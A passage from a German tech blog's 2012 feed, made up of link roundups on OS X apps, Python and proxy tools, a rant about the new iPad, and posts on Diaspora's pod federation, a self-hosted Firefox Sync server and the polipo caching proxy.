händisch für <span class="caps">OS</span> X mit <span class="caps"><abbr title="Graphical User Interface">GUI</abbr></span> kompilieren. Hier verlinkt, weil es einen netten <span class="caps"><abbr title="Command Line Interface">CLI</abbr></span>-Clienten hat.</li>
</ul>Linkschleuder #19tag:blog.posativ.org,2012-03-26:/2012/linkschleuder-192012-03-26T00:02:00Zposativhttp://blog.posativ.org/info@posativ.org<p>Wieder eine dedizierte <span class="caps">OS</span> X Linkschleuder; aber nur weil es sonst zu unübersichtlich geworden wäre.
Die nächste ist im Anflug: <a href="/2012/linkschleuder-20/">Linkschleuder #20</a>.</p>
<h3>Äpps</h3>
<ul>
<li><a href="http://asepsis.binaryage.com/">Asepsis</a> – nein, keine neue Krankheit sondern eine Ausgliederung
des Codes aus TotalFinder in einen Dämon, der die berühmten <code>.DS_Store</code>-Dateien ganz raffiniert in
einen gesonderten Ordner umleitet. Must-have!</li>
<li><a href="http://www.trankynam.com/xtrafinder/">XtraFinder</a> – ein recht neues, proprietäres Plugin für den
Finder, das einige fehlende Funktionen im Finder nachrüstet, (via <a href="http://mycrobase.de/">cmur2</a>).</li>
<li><a href="http://mouapp.com/">Mou</a> – <em>The missing Markdown editor for web developers</em>, ganz hübsch (via
<a href="http://www.schockwellenreiter.de/blog/2012/02/17/peters-linkschleuder-96/">Schockwellenreiter</a>).</li>
<li><a href="http://www.atpurpose.com/atMonitor/">atMonitor</a> – <em>Mac <span class="caps">OS</span> X System Monitor and Process Explorer
Tool</em> (frei wie Freibier).</li>
<li><a href="http://reggyapp.com/">Reggy</a> – eine sinnlose, aber freie Software um Reguläre Ausdrücke diverser
Sprachen in einer schicken <span class="caps"><abbr title="Graphical User Interface">GUI</abbr></span> zu testen.</li>
<li><a href="http://www.hanynet.com/waterroof/">Waterroof</a> – ein grafisches Frontend zur Firewall von <span class="caps">OS</span> X,
<a href="http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/firewalls-ipfw.html"><span class="caps">IPFW</span></a>, (frei wie Freibier).</li>
<li><a href="http://wineskin.doh123.com/">Wineskin</a> – yet another Wine-Manager für <span class="caps">OS</span> X mit aktuell Wine 1.4,
der für jedes Windows-Programm eine extra Weinflasche herunterlädt und verschließt. Das geringste
Übel unter den restlichen Bundlern und <code>wine</code> selbst.</li>
<li><a href="http://inductionapp.com/">induction</a> – ein open-source <span class="caps"><abbr title="Structured Query Language">SQL</abbr></span>/NoSQL Database Client für <span class="caps">OS</span> X. Testen!</li>
</ul>
<h3>Developer-Tools</h3>
<ul>
<li><a href="https://github.com/mxcl/homebrew/wiki/Homebrew-0.9">Homebrew 0.9</a> – der <em>missing package manager
for <span class="caps">OS</span> X</em> hat einen Meilenstein geschafft und supported nun auf einfache Art und Weise andere
Repositories, was gegen die teilweise <em>sehr</em> kompromisslosen Formula-Policy doch ganz nützlich erscheint.</li>
<li><a href="http://macdevelopertips.com/xcode/how-to-uninstall-xcode.html">How to uninstall Xcode</a> – und
danach gleich den <a href="http://kennethreitz.com/xcode-gcc-and-homebrew.html"><span class="caps">OSX</span>-<span class="caps">GCC</span>-Installer</a> rauf
(via <a href="http://hugo.rfc1437.de/2012/02/16/mac-developer-tips-how-to-uninstall-xcode/">rfc1437</a>).</li>
<li><a href="http://hackage.haskell.org/platform/">The Haskell Platform</a> – fertige Binary für den
<a href="https://en.wikipedia.org/wiki/Glasgow_Haskell_Compiler"><span class="caps">GHC</span></a> samt Paketmanager
<a href="http://www.haskell.org/cabal/">Cabal</a>. Praktisch, wenn mit
<a href="https://github.com/mxcl/homebrew">Homebrew</a> das Bauen (nahezu immer) failt.</li>
<li><a href="https://github.com/ryankee/growly">Growly</a> – schickt den <span class="caps"><abbr title="standard output">STDOUT</abbr></span> von bsw. <code>ls -F</code> direkt an Growl.</li>
<li><a href="https://github.com/ChrisJohnsen/tmux-MacOSX-pasteboard">tmux unter <span class="caps">OS</span> X</a> –
<code>pbcopy</code> und <code>pbpaste</code> im <code>tmux</code> wiederherstellen.</li>
</ul>
<h3>Misc</h3>
<ul>
<li><a href="http://www.schubert-it.com/pluginpdf/"><span class="caps">PDF</span> Browser Plugin</a> – damit soll wohl Preview bzw. dessen
Quartz-Komponente PDFs in Firefox und Co darstellen können.</li>
<li><a href="http://www.zipfelmaus.com/blog/my-tool-belt/"><span class="caps">OS</span> X Tool Belt</a> – aus Sicht eines Web-Entwicklers.</li>
<li><a href="http://bubonicpestilence.ru/post/564587053/traffic-shaping-at-mac-os-x">Traffic Shaping at Mac <span class="caps">OS</span> X</a> – vielleicht taugt das was als
<a href="http://monkey.org/~marius/pages/?page=trickle">trickle</a>-Ersatz.</li>
<li><a href="http://www.andrewwatters.com/privoxy/">Privoxy unter Lion</a> – mit Komplett-Anleitung und
<code>launchd</code>-Integration.</li>
<li><a href="http://joemiller.me/2011/05/24/alternative-skins-for-skype-5-on-mac-osx/">Alternative Skins für Skype 5</a> – weil die Skype <span class="caps"><abbr title="Graphical User Interface">GUI</abbr></span> wirklich scheiße ist, haben die Entwickler
wohlweißlich <span class="caps">CSS</span>-Support eingebaut (via <a href="http://mycrobase.de/">cmur2</a>).</li>
</ul>Das neue schlechte iPadtag:blog.posativ.org,2012-03-18:/2012/das-neue-schlechte-ipad2012-03-18T20:33:00Zposativhttp://blog.posativ.org/info@posativ.org<p>Seit ein paar Tagen ist ja wieder das <em>neue</em> iPad (formerly known as iPad 3)
ein Hype, dabei hat es das dieses Mal nicht verdient. Dass das iPad damals™
visionär war, müssen auch Fandroids einsehen, das iPad 2 ist ebenso ein
exzellentes Produkt. Aber was ist das neue iPad? Das ist ein Stück
<del>Scheiße</del> <a href="https://www.apple.com/de/ipad/specs/">Beta-Hardware</a>:</p>
<ul>
<li>wird warm (36 °C und wir haben noch nicht Hochsommer), sprich über
Körpertemperatur – ein absolutes No Go! Wie kann Apple denn wieder
dengleichen Fehler wie beim iPad 1 machen?</li>
<li>das Display mit einer höheren Auflösung als mein Macbook Pro, das ist schön
und gut aber ich weiß inzwischen nicht mehr, was für Apple ein Pro-Nutzer ist.</li>
<li>der Prozessor/Quadcore-Grafik (was für’n Marketing-Witz) bringt nicht die
vierfache Leistung um das neue Display mit der gleichen Leistung wie das
iPad 2 anzusteuern.</li>
<li>Safari, Wake Up und <span class="caps">PDF</span>-Ansicht ist <em>langsamer</em> geworden. <span class="caps">HALLO</span>? Sowas
verkauft Apple als Neuheit? Das es <em>langsamer</em> geworden ist?</li>
<li>Das Teil hat einen größeren Akku als das Macbook Air 11” (42,5 Wh versus 35
Wh), doppelt so viel wie das vorherige iPad und erreicht dennoch nur die
gleiche oder schlechtere (mit nicht unterstützdem <span class="caps">LTE</span> in Deutschland++)
Laufzeit. Mit diesem Akku + 60 Gramm mehr Gewicht (das ist nicht soo störend
finde ich) hätte man das alte iPad locker 20, in Zahlen <span class="caps">ZWANZIG</span> Stunden
laufen lassen können. <em>Das</em> wäre eine Neuheit!</li>
<li>Sieben Stunden Zeit zum Akku Aufladen. <span class="caps">SRSLY</span>?</li>
</ul>
<p>Ich hatte ja wirklich überlegt, aber nach ein <a href="http://www.heise.de/mac-and-i/artikel/foren/S-Angetestet-Das-neue-iPad/forum-224221/list/">paar Recherchen im
Internetz</a> warte ich doch lieber auf ein späteres neues iPad, das zumindest
nichts schlechter macht als das iPad 2. Zumal es im Apple Education Store
keinen Rabatt auf das iPad gibt. Apple, das war eine ganz schwache Leistung!</p>
<p>Aber natürlich ist Apple auf ihre Art <del>revolutionär</del> neu, denn die
Konkurrenz muss jetzt erst einmal auf ein Software Update von Google hoffen
ehe sie ihre Hardware ausbauen, was dann zu einer noch größeren Fragmentierung
der Android-Gemeinde führt und in einen weiteren verbissenen K(r)ampf zwischen
Fanboys und Fandroids m)</p>Linkschleuder #18tag:blog.posativ.org,2012-03-16:/2012/linkschleuder-182012-03-16T10:56:00Zposativhttp://blog.posativ.org/info@posativ.org<p>Oh weh, die Linkschleuder wird mein zunehmend mein primärer Inhalt hier. Immerhin hörte ich, es ist für manche
von Nutzen. Hier eine gesammelte Ausgabe mit Links zu Python, Web-Zeugs und anderem.</p>
<h4>Python</h4>
<ul>
<li><a href="https://github.com/devstructure/blueprint">Blueprint</a> – “reverse-engineers servers” ähnlich wie
<a href="http://projects.puppetlabs.com/projects/puppet">puppet</a>.</li>
<li><a href="https://github.com/jkbr/httpie">httpie</a> – ein “cURL for humans”, sprich curl mit Syntax-Highlighting
und automatischem Code-Indent bei <span class="caps">HTML</span>/<span class="caps">JS</span> für die Shell (via <a href="http://thechangelog.com/post/18437352843/httpie-python-powered-http-cli-for-humans">The Changelog</a>).</li>
<li><a href="https://github.com/kennethreitz/sshout">SSHout</a> – zum einfachen Sharen einer <span class="caps"><abbr title="Secure Shell">SSH</abbr></span>-Session.</li>
<li><a href="https://github.com/sampsyo/beets">Beets</a> – hatte ich zwar <a href="http://blog.posativ.org/2011/meine-mp3-toolchain/">schon mal</a>,
aber ist immer noch ein klasse <a href="http://musicbrainz.org/doc/MusicBrainz_Picard">Picard</a> Ersatz, der <em>alles</em> beim Import von
Musik automatisiert.</li>
<li><a href="https://github.com/amoffat/pbs"><span class="caps">PBS</span></a> – ein Python Wrapper für die üblichen Shell-Befehle wie
z.B. <code>ifconfig("eth0")</code>.</li>
<li><a href="https://github.com/kennethreitz/showme">ShowMe</a> – ein schnelles und einfaches Tool für simples Debugging
in Python, indem man Decorators auf die zu betrachtende Funktion legt. Ist bunt und in Farbe!1</li>
<li><a href="http://docs.python.org/library/ast.html">The <span class="caps">AST</span> Module</a> – <a href="http://blueprintforge.com/blog/2012/02/27/static-modification-of-python-with-python-the-ast-module/">Static Modification of Python With Python</a>.</li>
<li><a href="http://raj.blog.archive.org/2012/02/02/installing-ipython-notebook-to-replace-matlab/">Installing ipython notebook to replace matlab</a> – Wer das noch nicht kennt, <code>ipython notebook</code> ist ein
Qt-Tool ähnlich wie Matlab und das gibt’s jetzt auch für als <span class="caps">HTML5</span>+Websockets im Browser und rockt richtig.
Allerdings ist es äußerst schwer das from scratch zu installieren, lieber ein Ubuntu mit
<code>apt-get build-deps ipython</code> nehmen, spart einige Stunden Failen.</li>
</ul>
<h4>Web</h4>
<ul>
<li><a href="http://convergence.io/">convergence</a> – “an agile, distributed and secure strategy for replacing
Certificate Authorities” mit Firefox Plugin. Alternative zum <span class="caps"><abbr title="Single Point of Failure">SPOF</abbr></span>-Tool <a href="https://www.eff.org/https-everywhere"><span class="caps">HTTPS</span> Everywhere</a>
der <span class="caps">EFF</span>.</li>
<li><a href="http://pipes.yahoo.com/pipes/">pipes</a> – das Projekt von Yahoo zum Aggregieren von <a href="http://neusprech.org/content/">Content</a>, steht hier
nur für’s Archiv, ich habe meine Pipes in Ruby nachgebaut für mehr Flexibilität und Features.</li>
<li><a href="http://www.aaronsw.com/2002/html2text/">HTML2Text</a> – ein in Python geschriebenes Skript, das
<span class="caps">HTML</span> wieder zurück in Markdown-kompatiblen Text konvertiert.</li>
<li><a href="http://web2py.com/examples/static/markmin.html">Markmin</a> – <em>noch</em> eine Markup-Language, die viel Syntax
von Markdown übernimmt, aber auch neue einführt. Kann immerhin Image-Attribute.</li>
<li><a href="http://httparchive.org/"><span class="caps">HTTP</span> Archive</a> – <em>The <span class="caps">HTTP</span> Archive tracks how the Web is built.</em></li>
<li><a href="http://eloquentjavascript.net/">Eloquent JavaScript</a> – <em>A Modern Introduction to Programming.</em></li>
<li><a href="https://developer.mozilla.org/en/JavaScript/A_re-introduction_to_JavaScript">JavaScript</a> –
<em>A re-introduction to JavaScript</em> von Mozilla.</li>
<li><a href="http://www.schockwellenreiter.de/blog/2012/02/10/data-driven-documents-d3/">Data Driven Documents (D3)</a> –
Daten manipulieren und visualisieren in JavaScript.</li>
<li><a href="https://github.com/diveintomark">DiveIntoMark</a> – ein Mirror von Mark Pilgrims Projekten wie
<a href="http://diveintohtml5.org/">Dive Into <span class="caps">HTML5</span></a>, <a href="http://diveintopython.org/">Dive Into Python</a> und
<a href="http://diveintopython3.org/">Dive Into Python 3</a>, die seiner <a href="http://www.hanselman.com/blog/410GoneThoughtsOnMarkDiveintomarkPilgrimsAndWhysInfosuicides.aspx">informationellen Selbstzerstörung</a> zum
Opfer fielen. Leider ist sein überaus informatives Blog nicht dabei, das z.B. den
<a href="http://web.archive.org/web/20110514113830/http://diveintomark.org/archives/2004/05/28/howto-atom-id">Einsatz und Hintergrund von Permanent-Links</a> in Atom-Feeds erklärt.</li>
</ul>
<h4>Misc</h4>
<ul>
<li><a href="http://blog.doodle.com/doodle-unplugged/">Doodle Unplugged</a> – das neuste Tool von Doodle zur Terminvereinbarung :-)</li>
<li><a href="http://projecteuler.net/">Project Euler</a> – eine Serie von Mathematik/Informatik Aufgaben, die immer schwerer werden.
<br />
<a href="https://projecteuler.net/problem=1">Problem 1</a>:<br />
<blockquote>
<p>If we list all the natural numbers below 10 that are multiples of 3 or 5, we get 3, 5, 6 and 9.
The sum of these multiples is 23.<br />
Find the sum of all the multiples of 3 or 5 below 1000.</p>
</blockquote>
</li>
<li><a href="http://www.therestartpage.com/">The Restart Page</a> – Free unlimited rebooting experience from
vintage operating systems!</li>
<li><a href="http://chakra-linux.org/">Chakra Linux</a> – ein Arch Linux Fork mit Fokus auf <span class="caps"><abbr title="K-Desktop Environment; Kolorful Diskfilling Environment">KDE</abbr></span>-Integration, ist
zur Zeit mein Desktop Linux.</li>
<li><a href="http://www.android-x86.org/">Android-x86</a> – <em>Run Android on Your <span class="caps">PC</span></em> (inklusive Ice Cream Sandwich).</li>
<li><a href="https://grenouillebouillie.wordpress.com/2012/03/01/apple-started-decaying-before-steve-jobs-death/">Apple started decaying before Steve Jobs’ death</a> – ein kleiner, aber sehr feiner Rant über die
Software Politik von Apple am Beispiel von <del>Mac</del> <span class="caps">OS</span> X.</li>
<li><a href="http://speirs.org/blog/2012/3/6/we-need-to-talk-about-android.html">We Need to Talk About Android </a> – Auch ein lesenswerter Rant.</li>
</ul>Linkschleuder #17tag:blog.posativ.org,2012-02-20:/2012/linkschleuder-172012-02-20T15:11:00Zposativhttp://blog.posativ.org/info@posativ.org<p>Heute über ad-blocking <span class="caps">HTTP</span>-Proxies, Man-in-the-Middle-Proxies und <span class="caps">SSL</span>-über-<span class="caps">HTTP</span>-Proxies. Proxies, Proxies, Proxies.</p>
<ul>
<li><a href="http://www.freebsdwiki.net/index.php/Polipo">Polipo</a> – a caching web proxy, hatte ich <a href="http://blog.posativ.org/2012/polipo-a-caching-web-proxy/">hier schon</a>, kann auch
Werbung blocken, indem z.B. die <a href="https://easylist.adblockplus.org/de/">Easylist</a> in ein
<code>/etc/polipo/forbidden</code>-taugliches Format umgewandelt wird. <a href="http://rightfootin.blogspot.com/2009/11/ad-blocking-with-polipo.html">Hier
steht</a> wie es ginge (es geht aber mit den aktuellen Easylists
(partiell) nicht mehr, da müsste jemand ran, und polipo-unverträgliche
Ausdrücke entfernen/kompatibel machen).</li>
<li><a href="http://bfilter.sourceforge.net/index.php">bfilter</a> – a filtering web proxy
für <span class="caps">HTTP</span> Kompression, built-in JavaScript Engine, heuristischer
Flash-Analyzer und on-the-fly processing. Vielleicht lässt sich dieser mit
den Easylists erweitern.</li>
<li><a href="http://mitmproxy.org/">mitm</a> – an <span class="caps">SSL</span>-capable man-in-the-middle proxy, mit dem man unter
anderem den <a href="http://www.heise.de/security/meldung/Auch-Twitter-Foursquare-und-Foodspotting-uebertragen-Adressbuch-an-Hersteller-1435069.html">Adressbuch-Klau bei Path und Twitter</a> unter iOS sehen konnte.</li>
<li><a href="http://www.thoughtcrime.org/software/sslsniff/">sslsniff</a> – wie <a href="http://mitmproxy.org/">mitm</a> ein man-in-the-middle Proxy, der on-the-fly
<span class="caps">SSL</span> Zertifikate erstellt und allen Traffic im <span class="caps">LAN</span> abhört.</li>
<li><a href="http://monkey.org/~marius/pages/?page=trickle">trickle</a> – a lightweight userspace bandwith shaper für *<span class="caps"><abbr title="Berkeley System Distribution">BSD</abbr></span> und Linux,
leider aber nicht für Darwin/<span class="caps">OS</span> X.</li>
<li><a href="http://www.mtu.net/~engstrom/ssh-proxy.php">corkscrew</a> – Tunneling <span class="caps"><abbr title="Secure Shell">SSH</abbr></span> over an <span class="caps">HTTP</span>-Proxy Server, falls man mal in
die Bedrängnis kommt (oder <span class="caps">SSL</span> mit polipo cachen will ;-) (via <a href="http://claw.triple6.org/linux/ssh-verbindung-uber-einen-proxyserver/">/home/claw</a>).</li>
<li><a href="http://www.dextronet.com/micro-isv-insights/2012/01/30-books-everyone-in-software-business-should-read-and-why/">30 books everyone in software business should read (and why)</a> –
geblogmarkt, man weiß ja nie (via
<a href="http://www.zipfelmaus.com/blog/last-weeks-top-5-links/">Zipfelmaus</a>).</li>
</ul>DIASPORA*tag:blog.posativ.org,2012-02-19:/2012/diaspora2012-02-19T22:27:00Zposativhttp://blog.posativ.org/info@posativ.org<p>Letzte Woche gab’s im <a href="http://hackspace-jena.de/wiki/doku.php/raum:start">lokalen Hackerspace</a> eine kurze Einführung in das
<em>“ja-hab-ich-mal-von-gehört”</em>-Projekt: <a href="http://diasporaproject.org/"><span class="caps">DIASPORA</span>*</a>. Diaspora ist der
Versuch, Facebook/Google+ dezentral mit einer quelloffenen Software
aufzubauen. Das Projekt wird demnächst zwei Jahre alt und ist immer noch im
Alpha-Stadium, obwohl zunächst <a href="http://blog.diasporafoundation.org/2010/04/14/kickstarter-pitch.html">angekündigt</a> wurde, innerhalb von drei Monaten
fertig zu sein.</p>
<h3>Funktionsweise</h3>
<p>Bei Diaspora heißen die einzelnen dezentralen Server <em>Pods</em> und sind komplett
eigenständige Instanzen, die keine zentralen Knoten benötigen. Als
anschauliches Beispiel nehme ich ‘mal <a href="https://jenaspora.de/">jenaspora.de</a> und den offiziellen
Pod <a href="https://joindiaspora.com/">joindiaspora.com</a>. Die Nutzer aus Jena können auf diesem Pod ohne
Umwege über <em>joindiaspora.com</em> kommunizieren und fällt dieser aus, kümmert das
niemanden. Wenn sich ein Freund von mir nun auf <em>joindiaspora.com</em> angemeldet
hat, ich aber auf <em>jenaspora.de</em> verweile, so gibt es nun eine Anfrage über
das <a href="https://en.wikipedia.org/wiki/Webfinger">webfinger-Protokoll</a>, ob die Nutzerkennung <code>userid@domain.tld</code> auf dem
jeweiligen Host vorhanden ist und falls ja, merkt sich <em>joindiaspora.com</em>
diese Verbindung.</p>
<p>Sollte nun ein Nutzer aus <em>jenaspora.de</em> in seinem Posting
über die Aspekte (das ist das Zirkel-pendant zu Google+) den Nutzer vom
anderen Pod mitadressiert haben, so wird <em>jenaspora.de</em> den Host, in diesem
Fall <em>joindiaspora.com</em> pushen. So läuft das mit Posts, Kommentaren und
privaten Nachrichten. Eine Besonderheit von Diaspora ist noch die
verschlüsselte Kommunikation zwischen den Pods über ein Public-Key-Verfahren,
das auch über eine <span class="caps">SSL</span>-Verbindung läuft. Innerhalb von Pod ist allerdings
alles unverschlüsselt.</p>
<p>Einen <a href="https://github.com/diaspora/diaspora/wiki/Installing-and-Running-Diaspora">eigenen Pod aufzusetzen</a> ist allerdings etwas schwierig, da manchmal
der <a href="https://github.com/diaspora/diaspora">Hauptentwicklungszweig</a> manchmal bricht und ein exaktes Setup von
Nöten ist: Ruby on Rails mit Ruby am besten in Version 1.9, MySQL oder
PostgreSQL und eine Domain samt gültigem <span class="caps">SSL</span>-Zertifikat (wünschenswert). Dazu
kommt eine halbwegs aktuelle Linux-Distribution und viel Zeit zum
Konfigurieren und Testen, ob die Kommunikation zwischen den einzelnen Pods
funktioniert. Aber einmal aufgesetzt, läuft es stabil.</p>
<h3>Alpha-Stadium</h3>
<p><a href="http://diasporaproject.org/">Diaspora</a> ist wirklich noch alpha, das beweist nicht nur die
Entwicklungsstrategie. Es gibt noch eine Menge gewollter und ungewollter Ungereimtheiten:</p>
<ul>
<li><a href="https://joindiaspora.com/">joindiaspora.com</a> ist überlastet und ein single-point-of-failure, der
theoretisch nie existieren sollte.</li>
<li>Nutzerdaten liegen für jeden Podbesitzer im Klartext in der Datenbank (wenn
auch nicht an einem zentralen Ort).</li>
<li>keine federation, d.h. wenn ein Pod wegen Wartungsarbeiten offline ist,
gehen Nachrichten unwideruflich verloren!</li>
<li>umständliches Setup, Ruby on Rails <del>ist scheiße</del> skaliert nicht
gut, siehe #1.</li>
<li>Amazon S3-Anbindung, da <em>joindiaspora.com</em> überlastet ist – Widerspruch zur Dezentralität.</li>
<li>Entwicklungsschwerpunkt liegt bei <a href="https://joindiaspora.com/">joindiaspora</a>, was kontraproduktiv ist.</li>
<li>offizielle Zertifikate von StartSSL, wenn man nicht Debian fährt, wo auch
<a href="http://cacert.org/">CAcert</a> integriert ist, sonst wird die Verbindung verweigert.</li>
<li>läuft nicht auf <span class="caps">WLAN</span>-Routern, da Minimum 256 <span class="caps">MB</span> <span class="caps">RAM</span> benötigt werden.</li>
</ul>
<p>Ich bin sozialen Netzen zwar inzwischen sehr abgeneigt, aber Diaspora könnte
wirklich eine gute Alternative zum Mainstream-Facebook/Google+ werden. Ich bin
gespannt auf das fertige System.</p>weave-minimal Updatetag:blog.posativ.org,2012-02-18:/2012/weave-minimal-update2012-02-18T22:41:00Zposativhttp://blog.posativ.org/info@posativ.org<p>Ich habe heute wieder etwas an meinem
<a href="https://hg.mozilla.org/services/server-full/"><code>server-full</code></a>-Fork
<a href="https://github.com/posativ/weave-minimal"><code>weave-minimal</code></a> gebastelt und habe es
geschafft, die Registrierung direkt im Firefox zu ermöglichen. Der
alternative Weg über die <span class="caps"><abbr title="Command Line Interface">CLI</abbr></span> mit erweitertem Nutzernamen-Spektrum existiert
natürlich weiterhin. Änderungskatalog:</p>
<ul>
<li>direkte Registrierung im <span class="caps">FF</span></li>
<li>rudimentärer <code>/misc/1.0/captcha_html</code>-Support (d.h. ohne reellen Nutzen)</li>
<li>mehr standard-konform</li>
<li>offene Registrierung per Default, einfach <code>ENABLE_REGISTER</code> auf <code>False</code>
setzen</li>
</ul>
<h3>Spielwiese</h3>
<p>Unter <code>https://posativ.org/weave/</code> läuft ein Sync-Server mit einer offenen
Registrierung; wer mir also vertraut (Passwort wird gesalzen als truncated
sha1-Hash gespeichert) oder einfach nur Testen will, ob mein Server was
taugt – benötigt allerdings <a href="http://www.cacert.org/index.php?id=3">CAcert-Vertrauen</a>, ist hier gerne willkommen.</p>Linkschleuder #16tag:blog.posativ.org,2012-02-03:/2012/linkschleuder-162012-02-03T10:34:00Zposativhttp://blog.posativ.org/info@posativ.org<ul>
<li><a href="https://code.google.com/p/zen-coding/">Zen Coding</a> – <em>a new way of writing
<span class="caps">HTML</span> and <span class="caps">CSS</span> code</em>, <a href="https://bitbucket.org/wbond/sublime-2-zencoding">Sublime Text 2 Plugin</a></li>
<li><a href="https://github.com/apenwarr/sshuttle">sshuttle</a> – transparenter Proxy trifft
<span class="caps">VPN</span>, ohne viel basteln und ärgern. Einfach <span class="caps"><abbr title="Secure Shell">SSH</abbr></span>.</li>
<li><a href="http://ziproxy.sourceforge.net/">Ziproxy</a> – ein zippender Proxy, der
allerdings nicht alle externen Quellen in eine Datei packt. Dann wäre es
für’s Handy praktisch gewesen.</li>
<li><a href="http://thechangelog.com/post/16464262046/gitfinger-finger-github-users-from-the-command-line">gitfinger</a>
– Stalking auf GitHub.</li>
<li><a href="http://python-for-humans.heroku.com/">python for humans</a> – ein sehr witziger
Rant über Python und was die Community besser machen kann.</li>
<li><a href="http://blog.ezyang.com/2011/11/how-to-read-haskell/">How to read Haskell like Python</a></li>
<li><a href="http://crate.io/">crate.io</a> – ein PyPi-Mirror, der quelloffen ist und mehr
Features bietet als <a href="http://pypi.python.org/pypi">PyPi</a>.</li>
<li><a href="http://www.merproject.org/">mer</a> – eine offene, optimiert für Mobilgeräte,
Distribution á la <a href="https://www.meego.com/">MeeGo</a> mit Fokus auf Qt und <span class="caps">HTML5</span>.</li>
<li><a href="http://plasma-active.org/">plasma active</a> – ein <span class="caps"><abbr title="K-Desktop Environment; Kolorful Diskfilling Environment">KDE</abbr></span> Projekt für Tablets und
Mobilgeräte, der doch schon etwas besser als Android aussieht. Ein weiterer
Beweis, dass <span class="caps"><abbr title="K-Desktop Environment; Kolorful Diskfilling Environment">KDE</abbr></span> verdammt modular ist.</li>
<li><a href="http://goaccess.prosoftcorp.com/">goaccess</a> – ein (Apache) Common Logfile
Reader. Mit ncurses (!) und für große Bildschirme optimiert! <a href="http://blog.posativ.org/img/2012/goaccess.png">Beispiel</a>?</li>
<li><a href="http://shop.oreilly.com/product/0636920022473.do"><span class="caps">HTML5</span> for Publishers</a> –
kostenlos in <span class="caps">PDF</span>, epub und Mobi (auch für <a href="http://www.schockwellenreiter.de/blog/2012/01/23/kostenlose-ebooks-uber-ebooks/">Kindle</a>) nach Registrierung</li>
</ul>Linkschleuder #15tag:blog.posativ.org,2012-02-02:/2012/linkschleuder-152012-02-02T21:56:00Zposativhttp://blog.posativ.org/info@posativ.org<p>Diesmal etwas *hust* sehr *hust* Mac-lastig.</p>
<ul>
<li><a href="http://www.aramzamzam.net/nativa/">Nativa</a> – <em>der</em> Client für
<a href="http://libtorrent.rakshasa.no/">rtorrent</a> schlechthin.</li>
<li><a href="http://chipmunkninja.com/Tunneler">TunnelerX</a> – und der Vorgänger
<a href="http://www.chipmunkninja.com/Tunneler-0.9---An-SSH-1g@">Tunneler</a>, der ein
Icon in die Leiste setzt, um ad-hoc einen <span class="caps"><abbr title="Secure Shell">SSH</abbr></span>-Tunnel aufzubauen.</li>
<li><a href="http://d.hatena.ne.jp/os0x/20100612/1276330696">NinjaKit</a> – GreaseMonkey
für Safari.</li>
<li><a href="http://mplayerx.org/">MplayerX</a> – eine Art <span class="caps">VLC</span> nur in hübsch (und funktionaler).</li>
<li><a href="http://www.postbox-inc.com/">Postbox</a> – ein kommerzieller Mozilla
Thunderbird Fork, der einfach nur etwas mehr Mac-<span class="caps"><abbr title="Graphical User Interface">GUI</abbr></span> hat. Nicht empfehlenswert.</li>
<li><a href="http://www.lynapp.com/">Lyn</a> – möchte eine leichtgewichtige
iPhoto-Alternative sein.</li>
<li><a href="http://homepage.mac.com/nsekine/SYW/software/english/miniusage/index.html">MiniUsage</a>
– zeigt diverse (unzählig viele) Statusinformationen leicht zugänglich per
Dropdown-Menü in der Leiste an.</li>
<li><a href="http://www.macdentro.com/MacDentro/Home.html">MacDentro</a> – <span class="caps">OS</span> X
Wartungstool, das die <span class="caps">UNIX</span>-Dienste und -Interna aufräumt (cronjobs laufen,
etc. pp.). Gibt’s auch in hübsch und kommerziell:
<a href="http://www.maintain.se/cocktail">Cocktail.app</a>.</li>
<li><a href="http://www.enqueueapp.com/">Enqueue</a> – eine leichtgewichtige
iTunes-Alternative. Klare Empfehlung von mir!</li>
<li><a href="http://www.bean-osx.com/Bean.html">Bean</a> – eine Textverarbeitung für <span class="caps">OS</span> X.
Hilfreich, wenn man auf Pages/Open|LibreOffice verzichten möchte.</li>
<li><a href="http://www.sourcetreeapp.com/">SourceTree</a> – kostenloser Client für
Mercurial und Git mit Integration von <a href="https://github.com/">github.com</a> und
<a href="https://bitbucket.org/">bitbucket.org</a>. Erfordert nach einem Monat eine
kostenlose Registrierung.</li>
<li><a href="http://www.inkcode.net/qute">Qute</a> – ein ziemlich hübscher Editor für
<a href="http://daringfireball.net/projects/markdown/">Markdown</a>; gibt’s auch für <span class="caps">PC</span>.</li>
<li><a href="http://tm2tips.tumblr.com/">TextMate 2 Tips</a> – ein Blog über das
aufkommende TextMate 2. Unabhängig davon gibt es auch ein
<a href="http://www.matewiki.com/index.php?title=Main_Page">MateWiki</a>.</li>
</ul>polipo – a caching web proxytag:blog.posativ.org,2012-01-29:/2012/polipo-a-caching-web-proxy2012-01-29T20:21:00Zposativhttp://blog.posativ.org/info@posativ.org<p>In den zwei vergangenen Wochen habe ich viel mit Proxy-Techniken rumgespielt.
Anfangs noch ein <a href="https://de.wikipedia.org/wiki/SOCKS">SOCKSv5</a> über <span class="caps"><abbr title="Secure Shell">SSH</abbr></span> getunnelt, über direkte <span class="caps">HTTP</span>
Authentifizierung mit <a href="http://www.pps.jussieu.fr/~jch/software/polipo/">polipo</a> und <a href="http://privoxy.org/">Privoxy</a> im Chaining auf einem 128
MiB <span class="caps">RAM</span> <a href="http://edis.ch/">Host in der Schweiz</a>. Leider entsprach das nicht direkt meinem
Wunsch, den Verkehr bis zum anonymisierenden Proxy im Klartext zu schicken –
und langsam(er) war es auch. Für zwei Tage hatte ich auch mein SheevaPlug als
caching web proxy missbraucht, nur machte das in der Verbindung mit Privoxy
nicht allzu viel Spaß: über 3 Sekunden für ein Aufruf von <code>spiegel.de</code>.</p>
<p>Das primäre Problem mit <span class="caps"><abbr title="Secure Shell">SSH</abbr></span> war das Abbrechen der Verbindung in jedem Fall
nach dem Ruhezustand (wenn nicht schon nach 5 Minuten nichts tun, was
zumindest mit <code>KeepAlive</code> gehalten werden kann, eine <span class="caps"><abbr title="Domain Specific Language">DSL</abbr></span>-Zwangstrennung
überlebt das nicht). Zu spät habe ich von <a href="http://www.harding.motd.ca/autossh/">autossh</a> erfahren und habe
stattdessen mit der Äpp <a href="http://www.chipmunkninja.com/Tunneler-0.9---An-SSH-1g@">Tunneler</a> bzw. dessen Nachfolger <a href="http://chipmunkninja.com/Tunneler">TunnelerX</a>
(free as in free beer) gespielt, wo letzteres zwar die Ports richtig
hinbekommt, nur ersteres aber die SOCKSv5-Verbindung – reconnecten nach dem
Schlafen kann es auch nicht.</p>
<p>Mit <span class="caps"><abbr title="Domain Specific Language">DSL</abbr></span> ~4500 macht ein Setup mit einem caching web proxy in der Schweiz wenig
Sinn, viel cooler wäre ja ein lokaler (oder im <span class="caps">LAN</span>, sofern man im heimischen
